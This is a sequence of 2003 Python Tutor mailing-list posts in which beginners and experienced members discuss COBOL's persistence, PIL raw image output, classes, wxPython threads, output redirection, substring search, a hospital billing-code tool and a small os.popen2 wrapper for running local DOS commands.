> > Umm no sorry. It is still ythe language of choice on mainframes.
>
> and neither of these changes my comment -- it *SHOULD* be dead but
old coders
> who (should) know better keep it around (-:

Not at all. THe reason its the language os choice for mainframes has
little to do with old programmers. We actually considered using RPG,
C++ and ADA as well as COBOL, but we chose COBOL because it is
uniquely well matched to IBM's MVS architecture. There is no better
language for processing large files, and no other OS better equipped
to deal with high volumes of file I/O. They complement each other
perfectly, and no wonder, MVS was literally designed for COBOL...

But I'd never use it amywhere else, it is a horrible language!

Alan G.



From bri.wood@ntlworld.com  Tue Jun 17 04:18:02 2003
From: bri.wood@ntlworld.com (bri.wood)
Date: Tue Jun 17 03:18:02 2003
Subject: [Tutor] Re: Raw Image Format
In-Reply-To: <BAY2-F115WkGmtos6Ex00029fb3@hotmail.com>
References: <BAY2-F115WkGmtos6Ex00029fb3@hotmail.com>
Message-ID: <3EEEC090.2060007@ntlworld.com>

Lee Harr wrote:

>> Hi, I'm new to python (waiting for Learning Python to be delivered from
>> Amazon), but I have used it to post-process some images for a povray
>> animation.
>> Now my question, is there any way to get python to save an image in the
>> raw format? I've looked through PIL and Imagemagick, but these don't
>> seem to support the raw format.
>>
>
>
> Depends on what you mean by "raw format"
>
> Pygame will save as a bitmap.  That's about as raw as it gets, i guess.
> I find it hard to believe that PIL and Imagemagick won't do that though.
>
> So, I suppose what I am asking is... which format is that?
>
> _________________________________________________________________


I mean the format that ends in .raw. I think its called a headerless 
format.
I just looked at one made by paintshop pro in a text editor, and where 
it was white, was the text symbol for 255 and where it was black was the 
symbol for 0, this is ok as I will only be working with grayscale images.
I hope I'm not being too vague as this is only an inbetween step to what 
I hope to achive and would like to do most of it myself, but this has 
got me stumped.
I hope thats cleared the question up.

Thanks again for your time.

Bri




From darrenteo82@yahoo.com  Tue Jun 17 04:44:01 2003
From: darrenteo82@yahoo.com (Darren Teo)
Date: Tue Jun 17 03:44:01 2003
Subject: [Tutor] Class
Message-ID: <20030617074235.18747.qmail@web40403.mail.yahoo.com>

--0-457053929-1055835755=:16750
Content-Type: text/plain; charset=us-ascii

hey i was wondering how do you write a class ?? 
 
class Diary:
 
def __init__(self):
   self.data = []
 
def addEntry(day, month, year, text):
 
i am not sure what to write in here . this methods adds an entry for the date(day, month, year). Thanks.


---------------------------------
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
--0-457053929-1055835755=:16750
Content-Type: text/html; charset=us-ascii

<DIV>hey i was wondering how do you write a class ?? </DIV>
<DIV>&nbsp;</DIV>
<DIV>class Diary:</DIV>
<DIV>&nbsp;</DIV>
<DIV>def __init__(self):</DIV>
<DIV>&nbsp;&nbsp; self.data = []</DIV>
<DIV>&nbsp;</DIV>
<DIV>def addEntry(day, month, year, text):</DIV>
<DIV>&nbsp;</DIV>
<DIV>i am not sure what to write in here . this methods adds an entry for the date(day, month, year). Thanks.</DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://pa.yahoo.com/*http://rd.yahoo.com/evt=1207/*http://promo.yahoo.com/sbc/">SBC Yahoo! DSL</a> - Now only $29.95 per month!
--0-457053929-1055835755=:16750--


From Kepes.Krisztian@peto.hu  Tue Jun 17 05:54:02 2003
From: Kepes.Krisztian@peto.hu (Krisztian Kepes)
Date: Tue Jun 17 04:54:02 2003
Subject: [Tutor] Python and wx questions
Message-ID: <seeef61e.018@testmail.peto.hu>

Hi !

More of questions I have.
I want to port an Delphi program to wxPython/Python.
Please help me !

1.
When I write an wx application that is making a long time 
process of datas, how I avoid the blank windows, how I refresh ?
I think the solution is thread, but I don't know (in Python).

1.a.
How I create a thread procedure ?

1.b.
How I send a signal to main thread ?

1.c.
How I terminate the process thread ?

1.d
How I protect the shared data from cross writing of threads ?
(Have a mutex or other (critical section ?))

2.
How I allocate a fixed length list in one command ?
Have the Python a command to allocate in one step ?
Like:
 SetLength(List,50);
I want more efficiency than this:
List=[];for i in range(0,50):List.Add(None)
or a shorter code.

3.
Have the wx an timer or a dummy procedure ?
I want it to use to periodically get the process thread's datas
(report), and write it to log memo.
Have I register my owned dummy proc ?

Thanx for the answer, or I you send me an url or example to I learn
it:
 KK


From magnus@thinkware.se  Tue Jun 17 08:10:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 07:10:02 2003
Subject: [Tutor] Redirecting output
In-Reply-To: <20030617021056.87605.qmail@web13904.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030617130529.01e98808@www.thinkware.se>

Rick, instead of redefining sys.stdout, which might confuse the
hell out of someone else (or yourself half a year later) who for
instance places a print statement somewhere for debugging, just
use "f = sys.stdout" in the default case, and use "print >> f, ..."
in all places where you want to be able to redirect output.
Actually, it would probably be clever to use a clearer variable
name than 'f'.

   print error_message

is the same as

   import sys
   error_stream = sys.stdout
   print >> error_stream, error_message

At 19:10 2003-06-16 -0700, Rick Owen wrote:
>What I don't want to do (unless I have to) is
>
>if output:
>    print >> f, error_message
>else:
>    print error_message
>
>Is there a way to explicitly open sys.stdout so that it is assigned to f if no
>output file is specified.

You were really very close here, weren't you? :)


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Tue Jun 17 08:20:04 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 07:20:04 2003
Subject: [Tutor] Finding text in a long string
In-Reply-To: <00bb01c3347b$6b403e60$6600a8c0@tbrauch>
Message-ID: <5.2.1.1.0.20030617131553.01e96e10@www.thinkware.se>

At 22:51 2003-06-16 -0400, Timothy M. Brauch wrote:
>I tried some things like:
>
>data = urllib.urlopen(ADDRESS).read()
>if "image1.gif" in data:
>     print "Success"
>else: print "Failure

This is somewhat easier than some other replies might suggest.

First of all, if you upgrade to the Python 2.3 beta, the code
above will work. Normally, the in-operator checks whether the
first operand is equal to any element in the sequence that is
given as right operand (and a string is a sequence of one
character strings), but for strings on both sides, this is
being changed in Python 2.3 to do a substring search.

For now, the simplest way is to use the .find method. It returns
the location where the searched substring begins, and -1 if it's
not found at all. In other words:

subString = "image2.gif"
if data.find(subString) != -1:
     print "Found", subString
else:
     print "Didn't find", subString


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Tue Jun 17 08:34:23 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 07:34:23 2003
Subject: [Tutor] Class
In-Reply-To: <20030617074235.18747.qmail@web40403.mail.yahoo.com>
Message-ID: <5.2.1.1.0.20030617132538.01fcedd8@www.thinkware.se>

First of all, you need to indent the method definitions to
tell Python that they are part of the class. As you notice
if you actually try to run the code you posted, you will get
an indentation error.

Secondly, all methods needs self, i.e. the instance object,
as it's first parameter. You missed that in "addEntry" (if
you mean for it to be a part of the class).

Thirdly, we aren't mindreaders, so we can hardly tell you
what it is that you want next. ;) Even if we could, it's
probably better if you figure out how to do it without too
much help. How would you do it without using a class?

I suggest that you read some tutorial that covers classes.
See http://www.python.org/doc/Newbies.html for a wide selection
of tutorials. Maybe Alan's is good for you? See:
http://www.freenetpages.co.uk/hp/alan.gauld/ and click on
"Object Oriented Programming" in the menu. (It's under
"Advanced Topics".

At 00:42 2003-06-17 -0700, Darren Teo wrote:
>hey i was wondering how do you write a class ??
>
>class Diary:
>
>def __init__(self):
>    self.data = []
>
>def addEntry(day, month, year, text):
>
>i am not sure what to write in here . this methods adds an entry for the 
>date(day, month, year). Thanks.
>
>
>Do you Yahoo!?
><http://pa.yahoo.com/*http://rd.yahoo.com/evt=1207/*http://promo.yahoo.com/sbc/>SBC 
>Yahoo! DSL - Now only $29.95 per month!

--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Tue Jun 17 08:56:40 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 07:56:40 2003
Subject: [Tutor] Python and wx questions
In-Reply-To: <seeef61e.018@testmail.peto.hu>
Message-ID: <5.2.1.1.0.20030617133624.01e92fb0@www.thinkware.se>

At 10:53 2003-06-17 +0200, Krisztian Kepes wrote:
>I want to port an Delphi program to wxPython/Python.

For wxPython questions, the wxPython web site and mailing
list are probably better than tutor...

>1.
>When I write an wx application that is making a long time
>process of datas, how I avoid the blank windows, how I refresh ?
>I think the solution is thread, but I don't know (in Python).

First of all. Remember that only one thread can interact with
wxPython, or you will get into trouble. Secondly, look at
http://wiki.wxpython.org/index.cgi/LongRunningTasks

As you notice, there are several ways to do it, and threads
is not the only solution.

>2.
>How I allocate a fixed length list in one command ?
>Have the Python a command to allocate in one step ?
>Like:
>  SetLength(List,50);
>I want more efficiency than this:
>List=[];for i in range(0,50):List.Add(None)

That's not Python. I think you mean ".append()"

>or a shorter code.

"You have to unlearn what you have learnt" as Yoda said.
Python is not as complicated as Pascal you know... ;)

l = [None] * 50

But be careful with mutable objects when you do things like
that.

 >>> l = [0]*3
 >>> m = [l]*3

(This is the same as "m = [[0]*3]*3", except that we
also define the name "l".)

 >>> print m
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
 >>> m[1][1] = 5
 >>> print m
[[0, 5, 0], [0, 5, 0], [0, 5, 0]]

You see? It's the same list 'l' referenced three times inside 'm'.

I this case, you could instead do:

 >>> m = [[0]*3 for x in range(3)]
 >>> m
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
 >>> m[1][1] = 5
 >>> m
[[0, 0, 0], [0, 5, 0], [0, 0, 0]]

Here, you create a new list object with three 0's for each
loop in the list comprehension.

>3.
>Have the wx an timer or a dummy procedure ?
>I want it to use to periodically get the process thread's datas
>(report), and write it to log memo.
>Have I register my owned dummy proc ?

Sure. Look under "Process and Events" in the wxPython demo.
Both threads and timers are shown there.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From ATrautman@perryjudds.com  Tue Jun 17 10:22:20 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Tue Jun 17 09:22:20 2003
Subject: [Tutor] languages
Message-ID: <06738462136C054B8F8872D69DA140DB010801@corp-exch-1.pjinet.com>

>
> Cobol is still the most widely used language for new projects
> according to a 2001 study I saw (Computing Weekly and Infoworld
> joint survey)
>

|and neither of these changes my comment -- it *SHOULD* be dead but old
coders 
|who (should) know better keep it around (-:

Why? It's still by far the fastest easiest way the parse text indexed based
records. It's syntax is cruel to non-native (probably Midwestern) English
speakers but for those of us who meet that criteria its easy. It does not
have a powerful GUI interface (I have not tried Fuji's Visual COBOL, too
much money) but if you need to update, sort or append records it is one of
the easiest as you don't waste huge amounts of time making classes or
structures and the like. Oh yeah the need for coding sheets is gone but they
taught me a lot in the day.

Ok rant over  :-)
Don't try to use a tool for what it is not meant for is really the message.
Any that hang around for any length of time must do something well it when,
usually an exec, decides it should do something else it gets a bad
reputation COBOL being the scapegoat of the 90's.

Alan


From magnus@thinkware.se  Tue Jun 17 10:44:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 09:44:02 2003
Subject: [Tutor] =?iso-8859-1?Q?Fwd:_V=E1:_Re:_[Tutor]_Python_and_wx_quest_?=
 ions
Message-ID: <5.2.1.1.0.20030617154155.01e91608@www.thinkware.se>

I suppose this was for the list...
>From: "Krisztian Kepes" <Kepes.Krisztian@peto.hu>
>To: <magnus@thinkware.se>
>Subject: V=E1: Re: [Tutor] Python and wx quest
>  ions
>
>http://wiki.wxpython.org/index.cgi/LongRunningTasks
>This address is unavailable. I try with today, yesterday, etc.
>So if anyone have this documentation, please send to me in any format.

It's up! It might be a DNS problem on your side. Unfortunately,
using the bare IP-address doesn't work. I guess there are several
virtual machines on the same site. But I assume you can find a
cached version at Google. Search for

   wxpython longrunningtasks

at www.google.com and click on the link "Cached" at the first hit.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From smcintire@eastern-casualty.com  Tue Jun 17 11:32:02 2003
From: smcintire@eastern-casualty.com (Stu McIntire)
Date: Tue Jun 17 10:32:02 2003
Subject: [Tutor] languages
In-Reply-To: <200306161820.17602.shalehperry@attbi.com>
Message-ID: <NFBBKEBICLAGLBOGLOKFKEINIAAA.smcintire@eastern-casualty.com>

>and neither of these changes my comment -- it *SHOULD* be dead but old
coders
>who (should) know better keep it around (-:

Speaking of the insurance industry, at least, where my career has been
churning for over 20 years, it is the senior executives who keep Cobol
around; coders have no more input than the folks pushing brooms.  Why risk
large development projects to replace applications that work adequately (or
better) and have been fully amortized for 15 or more years?  Particularly
since hurricane Andrew, 9/11, and other major recent hits to the industry,
this is a no-brainer.  They are using contemporary tools where it makes
sense, such as offering web-based services to agents and customers, data
warehouses, etc., but Cobol will have a significant role to play for a long
time.

Stu




From bri.wood@ntlworld.com  Tue Jun 17 11:39:02 2003
From: bri.wood@ntlworld.com (bri.wood)
Date: Tue Jun 17 10:39:02 2003
Subject: [Tutor] Raw Image Format
In-Reply-To: <3EEE0182.4090703@ntlworld.com>
References: <3EEE0182.4090703@ntlworld.com>
Message-ID: <3EEF27E8.9000808@ntlworld.com>

bri.wood wrote:

> Hi, I'm new to python (waiting for Learning Python to be delivered 
> from Amazon), but I have used it to post-process some images for a 
> povray animation.
> Now my question, is there any way to get python to save an image in 
> the raw format? I've looked through PIL and Imagemagick, but these 
> don't seem to support the raw format.
>
> Thanks for your time.
>
> Bri
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>
I hope this is ok, replying to my own message, it doesn't mean I'm 
talking to myself, just passing on info to the list. Been wanting to 
post here for a while, it seems quite friendly :)
Well I've worked out the answer to my problem and learnt abit along the way.
I'm so glad that I said PIL didn't seem to have the answer....cos it 
did, the getdata() method was what I was after. Explains it in the PIL 
handbook too, but I was just looking at the formats that PIL saved in.
I learn more from my mistakes than anything, like save not working on 
getdata() so i did what is said in the handbook and converted it to a 
list, still wouldn't work, then I converted it to a string and it worked!!!
But it was in the wrong format....so I spent sometime learning about 
string.replace....then how to convert a number to ascii. Then it hit me, 
didn't one of the error messages say something about not accepting a 
list and I was doing all this replace stuff cos the data was in a 
list....and it clicked, one of the things I liked about python is that 
you can do loopy things with lists.

Here is what I ended up with, its not neat or pretty, but it works, any 
more ideas would be welcomed.

import Image
import ImageOps
im = Image.open("15.jpg")
im = ImageOps.grayscale(im)
mydata = list(im.getdata())
myfile = open('mytest.raw','wb')
for x in mydata:
    myfile.write(chr(x))
myfile.close(



From bgailer@alum.rpi.edu  Tue Jun 17 12:12:02 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Tue Jun 17 11:12:02 2003
Subject: [Tutor] languages
In-Reply-To: <200306152352.29040.shalehperry@attbi.com>
References: <000e01c333c6$8525e420$c49780d1@vvernon>
 <000e01c333c6$8525e420$c49780d1@vvernon>
Message-ID: <5.2.1.1.0.20030617083109.03335498@66.28.54.253>

--=======3D886E0=======
Content-Type: text/plain; x-avg-checked=avg-ok-1775367A; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 11:52 PM 6/15/2003 -0700, Sean 'Shaleh' Perry wrote:
>[snip]
>A+ is quite odd and requires special fonts just to code in it.  Cobol should
>be dead (old coders from the 70s keeping it alive to stay employed).

I wonder if you are thinking of APL rather than A+. I don't know what A+ 
is, but I earned a good part of my income programming in APL. It uses a lot 
of symbols in place of words for its built-in functions. Once we knew the 
meaning of the symbols we could write (and read) code fast. All variables 
were arrays, and functions operated on arrays. Thus no need for special 
statements to implement loops over arrays.

Example:

in Python, the tersest way I know to get the average of a list of numbers:

 >>> import operator
 >>> numbers = [1,3,5,3,6,7]
 >>> reduce(operator.add, numbers)/len(numbers)
4

in APL:

       numbers <-1 3 5 3 6 7
       (+/numbers)/&numbers
4

(Since I don't have the APL font handy I've used & instead of the Greek 
letter rho; <- in place of a single stroke left arrow).

So I enjoy Python because its easy to create and manipulate lists, and 
translate some of my APL knowledge into Pythonic "equivalents".

Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======3D886E0=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-1775367A
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======3D886E0=======--



From magnus@thinkware.se  Tue Jun 17 12:58:03 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 11:58:03 2003
Subject: [Tutor] languages
In-Reply-To: <5.2.1.1.0.20030617083109.03335498@66.28.54.253>
References: <200306152352.29040.shalehperry@attbi.com>
 <000e01c333c6$8525e420$c49780d1@vvernon>
 <000e01c333c6$8525e420$c49780d1@vvernon>
Message-ID: <5.2.1.1.0.20030617174116.01e97788@www.thinkware.se>

At 09:10 2003-06-17 -0600, Bob Gailer wrote:
 > >>> import operator
>  >>> numbers = [1,3,5,3,6,7]
>  >>> reduce(operator.add, numbers)/len(numbers)
>  4

Don't forget "from __future__ import division" or
do "reduce(operator.add, numbers)/float(len(numbers))"
unless you want a truncated result.

>in APL:
>
>       numbers <-1 3 5 3 6 7
>       (+/numbers)/&numbers
>4
>
>(Since I don't have the APL font handy I've used & instead of the Greek 
>letter rho; <- in place of a single stroke left arrow).

I doubt that it would work well over email whatever font you had... :)
(Although I think the APL charset is defined in Unicode, so sometime
in the future... Maybe that will cause an APL revival? ;)

>So I enjoy Python because its easy to create and manipulate lists, and 
>translate some of my APL knowledge into Pythonic "equivalents".

Actually, I think one of the good features of Python is
that people with very different backgrounds can use their
old concepts in Python, and still Python doesn't look like
a mix of all sorts of languages (like some other languages).

I guess Python doesn't really force a way of working on the
user, even if there is an ambition to avoid redundant features.
The motto: "There should be one-- and preferably only one
--obvious way to do it" refers to syntax variations more than
to forcing people into solving problems in a particular way.
It has borrowed many good ideas, rather than borrowing
syntax from all sorts of languages like Perl and Ruby did.

When people do the wrong things in Python based on prior
experience, it's very often because they try to avoid
limitations in some other language, which makes them
construct needlessly complicated code.

There are certainly exceptions to this. I think Lisp
programmres will find that they have to change their way
of thinking quite a bit to use Python effectively, but
that's because they have learnt to think like a compiler
rather than like a programmer! ;)


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From python@dhumketu.cjb.net  Tue Jun 17 14:11:02 2003
From: python@dhumketu.cjb.net (Shantanu Mahajan)
Date: Tue Jun 17 13:11:02 2003
Subject: [Tutor] Re: Finding text in a long string
Message-ID: <20030617145558.GA273@dhumketu.homeunix.net>

+-- Timothy M. Brauch [python-tutor] [16-06-03 22:51 -0400]:
| I am just having troubles with something I know is easy.
| 
| I've got a small script written that pulls the data from a webpage.  What I
| am trying to do is to see if "image1.gif" is in the html or not.  The
| problem I am having is that it might be labelled as
| http://domain.com/image1.gif or it might be ../images/image1.gif or
| something else (it can change with each page) and it is going to be in an
| html tag.  I could do it if "image1.gif" was plain text.  I'm having trouble
| however in this case.
| 
| I tried some things like:
| 
| data = urllib.urlopen(ADDRESS).read()
| if "image1.gif" in data:
|     print "Success"
| else: print "Failure
| 
| That gives me the error
| Traceback (most recent call last):
|   File "<pyshell#23>", line 1, in ?
|     if "offline.gif" in data:
| TypeError: 'in <string>' requires character as left operand
| which tells me it can only check if a certain character is in a string or
| not.
| 
| I've tried
| 
| dataList = data.split()
| for i in dataList:
|     if "image1.gif" in i
|     ...
| 
| I get the same error.  I've tried.  Because the location of "image1.gif" can
| change and it could be either a relative location or an absolute location,
| the following doesn't work either:
| 
| for i in dataList:
|     if i == "image1.gif"
| 
| I feel like a regular expression would help here, but I'm not sure how I
| would do this.  Any suggestions?
| 
|  - Tim
	check out 're' module.
	
	Regards,
	Shantanu

-- 
Nice tcsh prompt: set prompt = '%n@%m:%~%# '


From rwalston96@hotmail.com  Tue Jun 17 17:18:01 2003
From: rwalston96@hotmail.com (Ruben Walston)
Date: Tue Jun 17 16:18:01 2003
Subject: [Tutor] Newbie project, possible?
Message-ID: <BAY8-F120d9mTP2vZXq000076b6@hotmail.com>

I'm a realatively new commer to the programming world. Having done some 
research I found that python was perhaps the best program to begin my 
programming journey with. In the few months that I've been reading and 
practicing with python, I've found my biggest obstacle to be that I dont 
know all of the modules available to me, further I'm still trying to figure 
out exactly how to use classes. Anyway, I've decided to help me along in my 
study that rather than just read and do the excercises provided by some of 
the things I'm studying, I figured why not try and program something that I 
could use at work. I work at a hospital and every time a doctor or nurse 
sees a patient, they have to submit some codes that allows for the hospital 
to bill the patient. I thought it would be cool to have a little program 
that would allow them to use a gui and type in the treatment that they 
administered to the patient, and upon there entries the program would search 
(dictionary?, list?, or tuple?) for the correct code and output the code to 
a file as well as send the codes to another program. Does this sound like 
something a newer user could do or is this a project for someone with more 
advanced skills? Well to be honest, I'm going to give it a shot anyway. 
Question though, by using Tkinter is it possible to have it print text from 
a module to a screen?

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus



From hillcino368@hotmail.com  Tue Jun 17 18:23:02 2003
From: hillcino368@hotmail.com (cino hilliard)
Date: Tue Jun 17 17:23:02 2003
Subject: [Tutor] Redirecting output + calling dos commands with input tail
Message-ID: <Law15-F61oUONcwKWKO00063a2c@hotmail.com>

Hi,
First thanks Rick for asking the question.

Magnus, maybe you can help me. The module below has functions that call dos 
commands.

pycall('dir') will list the current folder directory but all jumbled up.
pycall('dir>dir.txt') will list the current folder directory to file dir.txt 
nice and neat.
pycall('start excel') starts Excel.
pycall('start winword') starts Ms word.
pycall('start maplew8')   starts maple8
pycall('start p2017.exe') starts pari ver 2017
etc.

To see the dos shell commands type help at the cmd console prompt
c:\pari>help
For more information on a specific command, type HELP command-name
ASSOC    Displays or modifies file extension associations.
AT       Schedules commands and programs to run on a computer.
ATTRIB   Displays or changes file attributes.
[Snip]

pypari('primes(100)') list the first 100 primes. Output here isn't bad.
>>>pypari('primes(100)')
['? [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 
71,
73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 
157,
163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 
241,
251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 
347,
349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 
439,
443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 
541]\n',
'? ']
>>>pypari('factor(2^128+1)') factors the 8th Fermat prime
['? \n', '[59649589127497217 1]\n', '\n', '[5704689200685129054721 1]\n', 
'\n',
'? ']

There we have it. Python is as powerful as Pari.

Questions.
1. can the technique you used to help Rick (see redir() in the shell module) 
be used in shell to
to make pycall and pypari do what they do  here? Give me some help on 
exiting processes.

2. can the dos console output be formatted to be pretty eg., dir, help etc?

3. When I make a modification to shell.py I have to close the current 
python.exe chevron >>>
window and start another and  from shell import * again or open another >>> 
and from shell import *
Any way around this? I want to keep the last >>> because the previous 
commands can be
retreived with f3 and the arrow keys. The import shell.pycall etc doesn't 
work in xp pro p4 either.

4. Wish list. Right string,left string,mid string functions, etc  built in. 
see my instr() below

Thanks for all your work

#********************************The Shell Game 
shell.py***************************
#Usage: >>> from shell import *
# pycall('cmd[>]')
#pypari('function')

import os
import sys
def popen2(cmd, bufsize=-1, mode='t'):       #use popen2 to perform dos 
shell operations
    w,r = os.popen2(cmd, mode, bufsize)
    return r,w

def pycall(cmd):                             #call a dos file or command
    r,w = popen2(cmd)                   #seems to require both r,w
    getit = r.readlines()
    print(getit)

def pypari(cmd):                              #call and execute a pari 
command
    f=open("pari.txt","w")                    #save command to a file
    p=instr(cmd,">")                          #check for dos redirection ">" 
command
    if p > 0:                                 #if ">" exists then write it 
to file
       f.write(cmd[:p])
    else:                                     #otherwise just write pari 
command to file
       f.write(cmd)
       paristr = 'c:\pari\p -q <pari.txt'     #save the pari path with < 
file parameter
    f.close()
    if p > 0:                                       #if you want to redirect 
pari output to
       paristr = 'c:\pari\p -q <pari.txt' + cmd[p:] #a file append the > and 
file you put in cmd
       print paristr                                 #show some output for 
sanity
    r,w = popen2(paristr)
    getit = r.readlines()
    print(getit)

def redir(cmd):                              #redirect output to a file. I 
attempted to
    oldout = sys.stdout                      #use this method to do the 
above to no avail.
    print 'redirecting'
    sys.stdout = open(cmd,'w')
    print 'this text to file',cmd
    sys.stdout.close()
    sys.stdout = oldout
    print 'back to normal'


def instr(str,chr):                         #instr() get the position of a 
single character in a string
   ln = len(str)
   pos = 0
   for i in range(ln):
       if str[i] == chr:
          pos=i
          break
   return pos



  3         3        3         3        3        6            2              
  (0^0)
2   +  13  +  33  +  43  =  49   =  7    =  343   = 117649

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus



From magnus@thinkware.se  Tue Jun 17 18:36:06 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 17:36:06 2003
Subject: [Tutor] Newbie project, possible?
In-Reply-To: <BAY8-F120d9mTP2vZXq000076b6@hotmail.com>
Message-ID: <5.2.1.1.0.20030617230335.01e896f0@www.thinkware.se>

At 20:16 2003-06-17 +0000, Ruben Walston wrote:
>I'm a realatively new commer to the programming world.

You are very welcome. Have fun!

>  Having done some research I found that python was perhaps the best 
> program to begin my programming journey with.

Just wish it had been there when I started. The only problem I
see with Python is that most other programming languages seem
so stupid once you know Python! :)

>In the few months that I've been reading and practicing with python, I've 
>found my biggest obstacle to be that I dont know all of the modules 
>available to me,

This takes time of course. It's typical for for Python that
programmers reach this problem while students of other programming
languages are still struggling with syntax. You should consider
yourself lucky.

The Python Standard Library is very rich, and it's natural that it
takes time to learn it. To a large extent it interfaces Python to other
technologies, such XML or email, and to understand these libraries you
need to understand those technologies. Browsing through the Python
Library Reference Manual now and then might be worthwhile. See
http://www.python.org/doc/current/lib/lib.html and
http://www.python.org/doc/current/lib/modindex.html

>further I'm still trying to figure out exactly how to use classes.

It took me quite a while to figure out the concept of
classes too. I don't know how much simpler it would
have been if I had had Python then...

Classes are basically a building block that allows us to
gather some data and operations we perform on that very data
as one unit in the program.

They might represent nouns in a requirements document that
are more then just simple values, and verbs are candidates
to be methods in a class. The nouns that just represent plain
values might be attributes in a class. Of course, also an
attribute might be an instance of a class.

>Anyway, I've decided to help me along in my study that rather than just 
>read and do the excercises provided by some of the things I'm studying, I 
>figured why not try and program something that I could use at work.

I'm pretty convinced this is a good way to start.

>I work at a hospital and every time a doctor or nurse sees a patient, they 
>have to submit some codes that allows for the hospital to bill the 
>patient. I thought it would be cool to have a little program that would 
>allow them to use a gui

In general, I would suggest that you don't consider a GUI until
your logic is working from command line of from the interactive
Python interpreter. Make the logic as a separate unit, and plug
the GUI onto that. One day, you might want a web UI instead, and
debugging etc is much simpler if you can work with your logic
without regarding user interface issues. Always try to separate
concerns...

Although, in this particular case, it seems that this might be
a rather simple list that we just display values in, and in that
case, there might not be a lot of logic behind the GUI...

>  and type in the treatment that they administered to the patient, and 
> upon there entries the program would search (dictionary?, list?, or 
> tuple?) for the correct code and output the code to a file as well as 
> send the codes to another program.

Interfacing to other programs might be a complex matter, it
depends on what kind of programmatic interface the other program
has... If we're talking about Windows, there might be various
solutions, such as COM, DDE, or by placing the value in the
Windows clipboard, but that might not exactly be newbie stuff...

You'll have to handle that when you get there...

>Does this sound like something a newer user could do or is this a project 
>for someone with more advanced skills?

Don't you think it would be better to let the doctor select
from a list of treatments? It's probably less typing, and they
will be able to browse the list to see what they ar supposed to
type. Roughly how many codes are we talking about. The ideal
solution would look very different for ten, one hundred or one
thousand codes.

Maybe a combination of browsing and searching would be best?

(As an old Unix user, it seems that you only need something
like a small wrapper around something that would be
equivalent to "grep -i '<search term>' <filename>".)

>Well to be honest, I'm going to give it a shot anyway. Question though, by 
>using Tkinter is it possible to have it print text from a module to a screen?

What do you mean by "text from a module"? Of course Tkinter
can be used to display text on the screen. If you can access
that text in your Python code--regardless of Tkinter, you can
display it with Tkinter.

There are also other GUI tool kits than Tkinter. If you feel
that you need a tree widget for instance, wxPython might be a
better fit. It's a much richer toolkit.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Tue Jun 17 18:49:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 17 17:49:02 2003
Subject: [Tutor] Redirecting output + calling dos commands with
 input tail
In-Reply-To: <Law15-F61oUONcwKWKO00063a2c@hotmail.com>
Message-ID: <5.2.1.1.0.20030617234825.01f44200@www.thinkware.se>

At 21:22 2003-06-17 +0000, cino hilliard wrote:
>Hi,
>First thanks Rick for asking the question.
>
>Magnus, maybe you can help me. The module below has functions that call 
>dos commands.

Sure! Can I bill you? :) Actually, I'm sure many people on
the list might help, and if you put it like that, others
might not bother, and I might not have the time.

My instant reflection was that if you replace ".readlines()"
with a simple ".read()" your printed output won't be messed
up.


--
